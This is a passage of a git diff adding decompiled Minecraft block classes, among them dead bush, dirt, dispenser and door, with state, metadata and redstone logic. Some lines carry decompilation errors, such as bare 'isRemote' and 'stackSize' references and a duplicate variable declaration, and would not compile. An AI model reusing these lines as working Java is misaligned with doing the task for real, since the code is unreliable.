+    return new TileEntityDaylightDetector();
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176436_a, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(field_176436_a)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176436_a });
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    if (!field_176435_b)
+    {
+      super.getSubBlocks(itemIn, tab, list);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDeadBush.java b/src/minecraft/net/minecraft/block/BlockDeadBush.java
new file mode 100644
index 0000000..cde039d
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDeadBush.java
@@ -0,0 +1,65 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockDeadBush
+  extends BlockBush
+{
+  private static final String __OBFID = "CL_00000224";
+  
+  protected BlockDeadBush()
+  {
+    super(Material.vine);
+    float var1 = 0.4F;
+    setBlockBounds(0.5F - var1, 0.0F, 0.5F - var1, 0.5F + var1, 0.8F, 0.5F + var1);
+  }
+  
+
+
+
+  protected boolean canPlaceBlockOn(Block ground)
+  {
+    return (ground == Blocks.sand) || (ground == Blocks.hardened_clay) || (ground == Blocks.stained_hardened_clay) || (ground == Blocks.dirt);
+  }
+  
+
+
+
+  public boolean isReplaceable(World worldIn, BlockPos pos)
+  {
+    return true;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return null;
+  }
+  
+  public void harvestBlock(World worldIn, EntityPlayer playerIn, BlockPos pos, IBlockState state, TileEntity te)
+  {
+    if ((!isRemote) && (playerIn.getCurrentEquippedItem() != null) && (playerIn.getCurrentEquippedItem().getItem() == Items.shears))
+    {
+      playerIn.triggerAchievement(net.minecraft.stats.StatList.mineBlockStatArray[Block.getIdFromBlock(this)]);
+      spawnAsEntity(worldIn, pos, new ItemStack(Blocks.deadbush, 1, 0));
+    }
+    else
+    {
+      super.harvestBlock(worldIn, playerIn, pos, state, te);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDirectional.java b/src/minecraft/net/minecraft/block/BlockDirectional.java
new file mode 100644
index 0000000..408aa66
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDirectional.java
@@ -0,0 +1,16 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.util.EnumFacing.Plane;
+
+public abstract class BlockDirectional extends Block
+{
+  public static final PropertyDirection AGE = PropertyDirection.create("facing", EnumFacing.Plane.HORIZONTAL);
+  private static final String __OBFID = "CL_00000227";
+  
+  protected BlockDirectional(Material p_i45401_1_)
+  {
+    super(p_i45401_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDirt.java b/src/minecraft/net/minecraft/block/BlockDirt.java
new file mode 100644
index 0000000..d229482
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDirt.java
@@ -0,0 +1,217 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockDirt extends Block
+{
+  public static final PropertyEnum VARIANT = PropertyEnum.create("variant", DirtType.class);
+  public static final PropertyBool SNOWY = PropertyBool.create("snowy");
+  private static final String __OBFID = "CL_00000228";
+  
+  protected BlockDirt()
+  {
+    super(Material.ground);
+    setDefaultState(blockState.getBaseState().withProperty(VARIANT, DirtType.DIRT).withProperty(SNOWY, Boolean.valueOf(false)));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    if (state.getValue(VARIANT) == DirtType.PODZOL)
+    {
+      Block var4 = worldIn.getBlockState(pos.offsetUp()).getBlock();
+      state = state.withProperty(SNOWY, Boolean.valueOf((var4 == Blocks.snow) || (var4 == Blocks.snow_layer)));
+    }
+    
+    return state;
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    list.add(new ItemStack(this, 1, DirtType.DIRT.getMetadata()));
+    list.add(new ItemStack(this, 1, DirtType.COARSE_DIRT.getMetadata()));
+    list.add(new ItemStack(this, 1, DirtType.PODZOL.getMetadata()));
+  }
+  
+  public int getDamageValue(World worldIn, BlockPos pos)
+  {
+    IBlockState var3 = worldIn.getBlockState(pos);
+    return var3.getBlock() != this ? 0 : ((DirtType)var3.getValue(VARIANT)).getMetadata();
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(VARIANT, DirtType.byMetadata(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((DirtType)state.getValue(VARIANT)).getMetadata();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { VARIANT, SNOWY });
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    DirtType var2 = (DirtType)state.getValue(VARIANT);
+    
+    if (var2 == DirtType.PODZOL)
+    {
+      var2 = DirtType.DIRT;
+    }
+    
+    return var2.getMetadata();
+  }
+  
+  public static enum DirtType implements IStringSerializable
+  {
+    DIRT("DIRT", 0, 0, "dirt", "default"), 
+    COARSE_DIRT("COARSE_DIRT", 1, 1, "coarse_dirt", "coarse"), 
+    PODZOL("PODZOL", 2, 2, "podzol");
+    
+    private static final DirtType[] METADATA_LOOKUP;
+    private final int metadata;
+    private final String name;
+    private final String unlocalizedName;
+    private static final DirtType[] $VALUES;
+    private static final String __OBFID = "CL_00002125";
+    
+    private DirtType(String p_i45727_1_, int p_i45727_2_, int metadata, String name)
+    {
+      this(p_i45727_1_, p_i45727_2_, metadata, name, name);
+    }
+    
+    private DirtType(String p_i45728_1_, int p_i45728_2_, int metadata, String name, String unlocalizedName)
+    {
+      this.metadata = metadata;
+      this.name = name;
+      this.unlocalizedName = unlocalizedName;
+    }
+    
+    public int getMetadata()
+    {
+      return metadata;
+    }
+    
+    public String getUnlocalizedName()
+    {
+      return unlocalizedName;
+    }
+    
+    public String toString()
+    {
+      return name;
+    }
+    
+    public static DirtType byMetadata(int metadata)
+    {
+      if ((metadata < 0) || (metadata >= METADATA_LOOKUP.length))
+      {
+        metadata = 0;
+      }
+      
+      return METADATA_LOOKUP[metadata];
+    }
+    
+    public String getName()
+    {
+      return name;
+    }
+    
+    static
+    {
+      METADATA_LOOKUP = new DirtType[values().length];
+      
+
+
+
+      $VALUES = new DirtType[] { DIRT, COARSE_DIRT, PODZOL };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      DirtType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        DirtType var3 = var0[var2];
+        METADATA_LOOKUP[var3.getMetadata()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDispenser.java b/src/minecraft/net/minecraft/block/BlockDispenser.java
new file mode 100644
index 0000000..d3b8489
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDispenser.java
@@ -0,0 +1,284 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.dispenser.BehaviorDefaultDispenseItem;
+import net.minecraft.dispenser.IBehaviorDispenseItem;
+import net.minecraft.dispenser.IBlockSource;
+import net.minecraft.dispenser.IPosition;
+import net.minecraft.dispenser.PositionImpl;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.InventoryHelper;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityDispenser;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.RegistryDefaulted;
+import net.minecraft.world.World;
+
+public class BlockDispenser extends BlockContainer
+{
+  public static final PropertyDirection FACING = PropertyDirection.create("facing");
+  public static final PropertyBool TRIGGERED = PropertyBool.create("triggered");
+  
+
+  public static final RegistryDefaulted dispenseBehaviorRegistry = new RegistryDefaulted(new BehaviorDefaultDispenseItem());
+  protected Random rand = new Random();
+  private static final String __OBFID = "CL_00000229";
+  
+  protected BlockDispenser()
+  {
+    super(Material.rock);
+    setDefaultState(blockState.getBaseState().withProperty(FACING, EnumFacing.NORTH).withProperty(TRIGGERED, Boolean.valueOf(false)));
+    setCreativeTab(CreativeTabs.tabRedstone);
+  }
+  
+
+
+
+  public int tickRate(World worldIn)
+  {
+    return 4;
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    super.onBlockAdded(worldIn, pos, state);
+    setDefaultDirection(worldIn, pos, state);
+  }
+  
+  private void setDefaultDirection(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (!isRemote)
+    {
+      EnumFacing var4 = (EnumFacing)state.getValue(FACING);
+      boolean var5 = worldIn.getBlockState(pos.offsetNorth()).getBlock().isFullBlock();
+      boolean var6 = worldIn.getBlockState(pos.offsetSouth()).getBlock().isFullBlock();
+      
+      if ((var4 == EnumFacing.NORTH) && (var5) && (!var6))
+      {
+        var4 = EnumFacing.SOUTH;
+      }
+      else if ((var4 == EnumFacing.SOUTH) && (var6) && (!var5))
+      {
+        var4 = EnumFacing.NORTH;
+      }
+      else
+      {
+        boolean var7 = worldIn.getBlockState(pos.offsetWest()).getBlock().isFullBlock();
+        boolean var8 = worldIn.getBlockState(pos.offsetEast()).getBlock().isFullBlock();
+        
+        if ((var4 == EnumFacing.WEST) && (var7) && (!var8))
+        {
+          var4 = EnumFacing.EAST;
+        }
+        else if ((var4 == EnumFacing.EAST) && (var8) && (!var7))
+        {
+          var4 = EnumFacing.WEST;
+        }
+      }
+      
+      worldIn.setBlockState(pos, state.withProperty(FACING, var4).withProperty(TRIGGERED, Boolean.valueOf(false)), 2);
+    }
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    TileEntity var9 = worldIn.getTileEntity(pos);
+    
+    if ((var9 instanceof TileEntityDispenser))
+    {
+      playerIn.displayGUIChest((TileEntityDispenser)var9);
+    }
+    
+    return true;
+  }
+  
+
+  protected void func_176439_d(World worldIn, BlockPos p_176439_2_)
+  {
+    BlockSourceImpl var3 = new BlockSourceImpl(worldIn, p_176439_2_);
+    TileEntityDispenser var4 = (TileEntityDispenser)var3.getBlockTileEntity();
+    
+    if (var4 != null)
+    {
+      int var5 = var4.func_146017_i();
+      
+      if (var5 < 0)
+      {
+        worldIn.playAuxSFX(1001, p_176439_2_, 0);
+      }
+      else
+      {
+        ItemStack var6 = var4.getStackInSlot(var5);
+        IBehaviorDispenseItem var7 = func_149940_a(var6);
+        
+        if (var7 != IBehaviorDispenseItem.itemDispenseBehaviorProvider)
+        {
+          ItemStack var8 = var7.dispense(var3, var6);
+          var4.setInventorySlotContents(var5, stackSize == 0 ? null : var8);
+        }
+      }
+    }
+  }
+  
+  protected IBehaviorDispenseItem func_149940_a(ItemStack p_149940_1_)
+  {
+    return (IBehaviorDispenseItem)dispenseBehaviorRegistry.getObject(p_149940_1_ == null ? null : p_149940_1_.getItem());
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    boolean var5 = (worldIn.isBlockPowered(pos)) || (worldIn.isBlockPowered(pos.offsetUp()));
+    boolean var6 = ((Boolean)state.getValue(TRIGGERED)).booleanValue();
+    
+    if ((var5) && (!var6))
+    {
+      worldIn.scheduleUpdate(pos, this, tickRate(worldIn));
+      worldIn.setBlockState(pos, state.withProperty(TRIGGERED, Boolean.valueOf(true)), 4);
+    }
+    else if ((!var5) && (var6))
+    {
+      worldIn.setBlockState(pos, state.withProperty(TRIGGERED, Boolean.valueOf(false)), 4);
+    }
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!isRemote)
+    {
+      func_176439_d(worldIn, pos);
+    }
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityDispenser();
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState().withProperty(FACING, BlockPistonBase.func_180695_a(worldIn, pos, placer)).withProperty(TRIGGERED, Boolean.valueOf(false));
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    worldIn.setBlockState(pos, state.withProperty(FACING, BlockPistonBase.func_180695_a(worldIn, pos, placer)), 2);
+    
+    if (stack.hasDisplayName())
+    {
+      TileEntity var6 = worldIn.getTileEntity(pos);
+      
+      if ((var6 instanceof TileEntityDispenser))
+      {
+        ((TileEntityDispenser)var6).func_146018_a(stack.getDisplayName());
+      }
+    }
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    TileEntity var4 = worldIn.getTileEntity(pos);
+    
+    if ((var4 instanceof TileEntityDispenser))
+    {
+      InventoryHelper.dropInventoryItems(worldIn, pos, (TileEntityDispenser)var4);
+      worldIn.updateComparatorOutputLevel(pos, this);
+    }
+    
+    super.breakBlock(worldIn, pos, state);
+  }
+  
+
+
+
+  public static IPosition getDispensePosition(IBlockSource coords)
+  {
+    EnumFacing var1 = getFacing(coords.getBlockMetadata());
+    double var2 = coords.getX() + 0.7D * var1.getFrontOffsetX();
+    double var4 = coords.getY() + 0.7D * var1.getFrontOffsetY();
+    double var6 = coords.getZ() + 0.7D * var1.getFrontOffsetZ();
+    return new PositionImpl(var2, var4, var6);
+  }
+  
+
+
+
+  public static EnumFacing getFacing(int meta)
+  {
+    return EnumFacing.getFront(meta & 0x7);
+  }
+  
+  public boolean hasComparatorInputOverride()
+  {
+    return true;
+  }
+  
+  public int getComparatorInputOverride(World worldIn, BlockPos pos)
+  {
+    return Container.calcRedstoneFromInventory(worldIn.getTileEntity(pos));
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+  
+
+
+
+  public IBlockState getStateForEntityRender(IBlockState state)
+  {
+    return getDefaultState().withProperty(FACING, EnumFacing.SOUTH);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(FACING, getFacing(meta)).withProperty(TRIGGERED, Boolean.valueOf((meta & 0x8) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(FACING)).getIndex();
+    
+    if (((Boolean)state.getValue(TRIGGERED)).booleanValue())
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { FACING, TRIGGERED });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDoor.java b/src/minecraft/net/minecraft/block/BlockDoor.java
new file mode 100644
index 0000000..27a8cc7
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDoor.java
@@ -0,0 +1,481 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockDoor extends Block
+{
+  public static final PropertyDirection FACING_PROP = PropertyDirection.create("facing", EnumFacing.Plane.HORIZONTAL);
+  public static final PropertyBool OPEN_PROP = PropertyBool.create("open");
+  public static final PropertyEnum HINGEPOSITION_PROP = PropertyEnum.create("hinge", EnumHingePosition.class);
+  public static final PropertyBool POWERED_PROP = PropertyBool.create("powered");
+  public static final PropertyEnum HALF_PROP = PropertyEnum.create("half", EnumDoorHalf.class);
+  private static final String __OBFID = "CL_00000230";
+  
+  protected BlockDoor(Material p_i45402_1_)
+  {
+    super(p_i45402_1_);
+    setDefaultState(blockState.getBaseState().withProperty(FACING_PROP, EnumFacing.NORTH).withProperty(OPEN_PROP, Boolean.valueOf(false)).withProperty(HINGEPOSITION_PROP, EnumHingePosition.LEFT).withProperty(POWERED_PROP, Boolean.valueOf(false)).withProperty(HALF_PROP, EnumDoorHalf.LOWER));
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isPassable(IBlockAccess blockAccess, BlockPos pos)
+  {
+    return func_176516_g(func_176515_e(blockAccess, pos));
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public AxisAlignedBB getSelectedBoundingBox(World worldIn, BlockPos pos)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.getSelectedBoundingBox(worldIn, pos);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.getCollisionBoundingBox(worldIn, pos, state);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    func_150011_b(func_176515_e(access, pos));
+  }
+  
+  private void func_150011_b(int p_150011_1_)
+  {
+    float var2 = 0.1875F;
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 2.0F, 1.0F);
+    EnumFacing var3 = func_176511_f(p_150011_1_);
+    boolean var4 = func_176516_g(p_150011_1_);
+    boolean var5 = func_176513_j(p_150011_1_);
+    
+    if (var4)
+    {
+      if (var3 == EnumFacing.EAST)
+      {
+        if (!var5)
+        {
+          setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, var2);
+        }
+        else
+        {
+          setBlockBounds(0.0F, 0.0F, 1.0F - var2, 1.0F, 1.0F, 1.0F);
+        }
+      }
+      else if (var3 == EnumFacing.SOUTH)
+      {
+        if (!var5)
+        {
+          setBlockBounds(1.0F - var2, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+        }
+        else
+        {
+          setBlockBounds(0.0F, 0.0F, 0.0F, var2, 1.0F, 1.0F);
+        }
+      }
+      else if (var3 == EnumFacing.WEST)
+      {
+        if (!var5)
+        {
+          setBlockBounds(0.0F, 0.0F, 1.0F - var2, 1.0F, 1.0F, 1.0F);
+        }
+        else
+        {
+          setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, var2);
+        }
+      }
+      else if (var3 == EnumFacing.NORTH)
+      {
+        if (!var5)
+        {
+          setBlockBounds(0.0F, 0.0F, 0.0F, var2, 1.0F, 1.0F);
+        }
+        else
+        {
+          setBlockBounds(1.0F - var2, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+        }
+      }
+    }
+    else if (var3 == EnumFacing.EAST)
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0F, var2, 1.0F, 1.0F);
+    }
+    else if (var3 == EnumFacing.SOUTH)
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, var2);
+    }
+    else if (var3 == EnumFacing.WEST)
+    {
+      setBlockBounds(1.0F - var2, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+    }
+    else if (var3 == EnumFacing.NORTH)
+    {
+      setBlockBounds(0.0F, 0.0F, 1.0F - var2, 1.0F, 1.0F, 1.0F);
+    }
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (blockMaterial == Material.iron)
+    {
+      return true;
+    }
+    
+
+    BlockPos var9 = state.getValue(HALF_PROP) == EnumDoorHalf.LOWER ? pos : pos.offsetDown();
+    IBlockState var10 = pos.equals(var9) ? state : worldIn.getBlockState(var9);
+    
+    if (var10.getBlock() != this)
+    {
+      return false;
+    }
+    
+
+    state = var10.cycleProperty(OPEN_PROP);
+    worldIn.setBlockState(var9, state, 2);
+    worldIn.markBlockRangeForRenderUpdate(var9, pos);
+    worldIn.playAuxSFXAtEntity(playerIn, ((Boolean)state.getValue(OPEN_PROP)).booleanValue() ? 1003 : 1006, pos, 0);
+    return true;
+  }
+  
+
+
+  public void func_176512_a(World worldIn, BlockPos p_176512_2_, boolean p_176512_3_)
+  {
+    IBlockState var4 = worldIn.getBlockState(p_176512_2_);
+    
+    if (var4.getBlock() == this)
+    {
+      BlockPos var5 = var4.getValue(HALF_PROP) == EnumDoorHalf.LOWER ? p_176512_2_ : p_176512_2_.offsetDown();
+      IBlockState var6 = p_176512_2_ == var5 ? var4 : worldIn.getBlockState(var5);
+      
+      if ((var6.getBlock() == this) && (((Boolean)var6.getValue(OPEN_PROP)).booleanValue() != p_176512_3_))
+      {
+        worldIn.setBlockState(var5, var6.withProperty(OPEN_PROP, Boolean.valueOf(p_176512_3_)), 2);
+        worldIn.markBlockRangeForRenderUpdate(var5, p_176512_2_);
+        worldIn.playAuxSFXAtEntity(null, p_176512_3_ ? 1003 : 1006, p_176512_2_, 0);
+      }
+    }
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (state.getValue(HALF_PROP) == EnumDoorHalf.UPPER)
+    {
+      BlockPos var5 = pos.offsetDown();
+      IBlockState var6 = worldIn.getBlockState(var5);
+      
+      if (var6.getBlock() != this)
+      {
+        worldIn.setBlockToAir(pos);
+      }
+      else if (neighborBlock != this)
+      {
+        onNeighborBlockChange(worldIn, var5, var6, neighborBlock);
+      }
+    }
+    else
+    {
+      boolean var9 = false;
+      BlockPos var10 = pos.offsetUp();
+      IBlockState var7 = worldIn.getBlockState(var10);
+      
+      if (var7.getBlock() != this)
+      {
+        worldIn.setBlockToAir(pos);
+        var9 = true;
+      }
+      
+      if (!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown()))
+      {
+        worldIn.setBlockToAir(pos);
+        var9 = true;
+        
+        if (var7.getBlock() == this)
+        {
+          worldIn.setBlockToAir(var10);
+        }
+      }
+      
+      if (var9)
+      {
+        if (!isRemote)
+        {
+          dropBlockAsItem(worldIn, pos, state, 0);
+        }
+      }
+      else
+      {
+        boolean var8 = (worldIn.isBlockPowered(pos)) || (worldIn.isBlockPowered(var10));
+        
+        if (((var8) || (neighborBlock.canProvidePower())) && (neighborBlock != this) && (var8 != ((Boolean)var7.getValue(POWERED_PROP)).booleanValue()))
+        {
+          worldIn.setBlockState(var10, var7.withProperty(POWERED_PROP, Boolean.valueOf(var8)), 2);
+          
+          if (var8 != ((Boolean)state.getValue(OPEN_PROP)).booleanValue())
+          {
+            worldIn.setBlockState(pos, state.withProperty(OPEN_PROP, Boolean.valueOf(var8)), 2);
+            worldIn.markBlockRangeForRenderUpdate(pos, pos);
+            worldIn.playAuxSFXAtEntity(null, var8 ? 1003 : 1006, pos, 0);
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return state.getValue(HALF_PROP) == EnumDoorHalf.UPPER ? null : func_176509_j();
+  }
+  
+
+
+
+
+
+
+  public net.minecraft.util.MovingObjectPosition collisionRayTrace(World worldIn, BlockPos pos, Vec3 start, Vec3 end)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.collisionRayTrace(worldIn, pos, start, end);
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return pos.getY() < 255;
+  }
+  
+  public int getMobilityFlag()
+  {
+    return 1;
+  }
+  
+  public static int func_176515_e(IBlockAccess p_176515_0_, BlockPos p_176515_1_)
+  {
+    IBlockState var2 = p_176515_0_.getBlockState(p_176515_1_);
+    int var3 = var2.getBlock().getMetaFromState(var2);
+    boolean var4 = func_176518_i(var3);
+    IBlockState var5 = p_176515_0_.getBlockState(p_176515_1_.offsetDown());
+    int var6 = var5.getBlock().getMetaFromState(var5);
+    int var7 = var4 ? var6 : var3;
+    IBlockState var8 = p_176515_0_.getBlockState(p_176515_1_.offsetUp());
+    int var9 = var8.getBlock().getMetaFromState(var8);
+    int var10 = var4 ? var3 : var9;
+    boolean var11 = (var10 & 0x1) != 0;
+    boolean var12 = (var10 & 0x2) != 0;
+    return func_176510_b(var7) | (var4 ? 8 : 0) | (var11 ? 16 : 0) | (var12 ? 32 : 0);
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return func_176509_j();
+  }
+  
+  private Item func_176509_j()
+  {
+    return this == Blocks.dark_oak_door ? Items.dark_oak_door : this == Blocks.acacia_door ? Items.acacia_door : this == Blocks.jungle_door ? Items.jungle_door : this == Blocks.birch_door ? Items.birch_door : this == Blocks.spruce_door ? Items.spruce_door : this == Blocks.iron_door ? Items.iron_door : Items.oak_door;
+  }
+  
+  public void onBlockHarvested(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn)
+  {
+    BlockPos var5 = pos.offsetDown();
+    
+    if ((capabilities.isCreativeMode) && (state.getValue(HALF_PROP) == EnumDoorHalf.UPPER) && (worldIn.getBlockState(var5).getBlock() == this))
+    {
+      worldIn.setBlockToAir(var5);
+    }
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+
+
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    if (state.getValue(HALF_PROP) == EnumDoorHalf.LOWER)
+    {
+      IBlockState var4 = worldIn.getBlockState(pos.offsetUp());
+      
+      if (var4.getBlock() == this)
+      {
+        state = state.withProperty(HINGEPOSITION_PROP, var4.getValue(HINGEPOSITION_PROP)).withProperty(POWERED_PROP, var4.getValue(POWERED_PROP));
+      }
+    }
+    else
+    {
+      IBlockState var4 = worldIn.getBlockState(pos.offsetDown());
+      
+      if (var4.getBlock() == this)
+      {
+        state = state.withProperty(FACING_PROP, var4.getValue(FACING_PROP)).withProperty(OPEN_PROP, var4.getValue(OPEN_PROP));
+      }
+    }
+    
+    return state;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return (meta & 0x8) > 0 ? getDefaultState().withProperty(HALF_PROP, EnumDoorHalf.UPPER).withProperty(HINGEPOSITION_PROP, (meta & 0x1) > 0 ? EnumHingePosition.RIGHT : EnumHingePosition.LEFT).withProperty(POWERED_PROP, Boolean.valueOf((meta & 0x2) > 0)) : getDefaultState().withProperty(HALF_PROP, EnumDoorHalf.LOWER).withProperty(FACING_PROP, EnumFacing.getHorizontal(meta & 0x3).rotateYCCW()).withProperty(OPEN_PROP, Boolean.valueOf((meta & 0x4) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    
+    int var3;
+    if (state.getValue(HALF_PROP) == EnumDoorHalf.UPPER)
+    {
+      int var3 = var2 | 0x8;
+      
+      if (state.getValue(HINGEPOSITION_PROP) == EnumHingePosition.RIGHT)
+      {
+        var3 |= 0x1;
+      }
+      
+      if (((Boolean)state.getValue(POWERED_PROP)).booleanValue())
+      {
+        var3 |= 0x2;
+      }
+    }
+    else
+    {
+      var3 = var2 | ((EnumFacing)state.getValue(FACING_PROP)).rotateY().getHorizontalIndex();
+      
+      if (((Boolean)state.getValue(OPEN_PROP)).booleanValue())
+      {
+        var3 |= 0x4;
+      }
+    }
+    
+    return var3;
+  }
+  
+  protected static int func_176510_b(int p_176510_0_)
+  {
+    return p_176510_0_ & 0x7;
+  }
+  
+  public static boolean func_176514_f(IBlockAccess p_176514_0_, BlockPos p_176514_1_)
+  {
+    return func_176516_g(func_176515_e(p_176514_0_, p_176514_1_));
+  }
+  
